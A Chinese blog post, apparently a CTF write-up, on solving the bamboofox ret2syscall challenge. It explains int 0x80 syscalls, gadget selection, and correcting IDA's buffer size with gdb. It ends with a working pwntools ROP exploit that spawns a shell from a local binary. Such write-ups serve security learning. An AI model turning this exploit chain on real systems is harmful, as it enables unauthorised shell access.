关于ret2syscall及缓冲区大小gdb计算

发布于 2023-05-19  594 次阅读


今天做到一个wiki ctf上的一道ret2syscall题,发现ida里看到的缓冲区大小并不准确,根据ida显示的缓冲区大小来覆盖数据是打不通的,于是来详细研究一下。

以32位程序为例:

bamboofox 中的 ret2syscall

checksec检查程序开启的保护措施

32位elf程序,开启了NX保护跟部分RELRO保护。

ida查看源码

可以看出这个程序距离ebp显示的是64h,那我们缓冲区姑且按64h算。

由题目可知是一道ret2syscall的题,我们不能利用程序中的某段代码或自己填充代码来获取shell,所以要布置参数利用系统调用来获取shell。

关于系统调用参考网站(可能无法打开,需要翻墙)

https://zh.wikipedia.org/wiki/%E7%B3%BB%E7%BB%9F%E8%B0%83%E7%94%A8

通俗的说,就是将触发系统调用的参数放置到对应的寄存器中,再让程序执行int 0x80,接下来就可执行对应的系统调用。

就比如执行 execve("/bin/sh")

作为用户端,应用程序调用系统调用的过程是:

  1. 把系统调用的编号存入 EAX;
  2. 把函数参数存入其它通用寄存器;
  3. 触发 0x80 号中断(int 0x80)

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。操作系统实现系统调用的基本过程是:

  1. 应用程序调用库函数(API);
  2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
  3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
  4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
  5. 中断处理函数返回到 API 中;
  6. API 将 EAX 返回给应用程序。

对于该32位程序,我们就先使得对应寄存器存储对应的值:

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

如何设置对应寄存器的值,假设程序中此时栈顶存储的数据是一个0,此时进行pop eax操作的话,eax就会被设置为0,但程序不可能会有一段连续的代码来帮你设置对应的寄存器,那我们就需要手动干预程序执行流来设置对应寄存器参数。

首先来找eax的gadgets:

选择第二个为控制eax的gadgets。

选择控制ebx,ecx,edx寄存器的gadgets:

用红框这个gadgets,可以直接控制三个寄存器。

然后寻找/bin/sh字符串对应的地址,实际上sh字符串也可以,但这个程序有好多sh字符串,试了前几个都打不通。

于是直接找/bin/sh字符串对应的地址

准备工作完毕,接下来就是确定缓冲区大小了,前面说过ida显示的缓冲区大小是64h,我们姑且按64h算。

可以看出来GOT EOF了。ida分析不准确,那么就要自己计算了。

gdb可以看出esp为0xffffd230,ebp为0xffffd2b8,同时v4相对于esp的索引为 esp+1Ch。

于是可以推断:

  • v4 的地址为 0xffffd24c
  • v4 相对于 ebp 的偏移为 0x6c
  • v4 相对于返回地址的偏移为 0x6c+4

最后的exp如下:

from pwn import *
r=process('./rop')
# context(arch='amd64',os='linux',log_level='debug')
sh=0x080be408
int_80=0x08049421
pop_eax=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
p=flat(b'a'*(0x6c+4),pop_eax,0xb,pop_edx_ecx_ebx,0,0,sh,int_80)
r.sendlineafter("What do you plan to do?\n",p)
r.interactive()

穿过云层我试着努力向你奔跑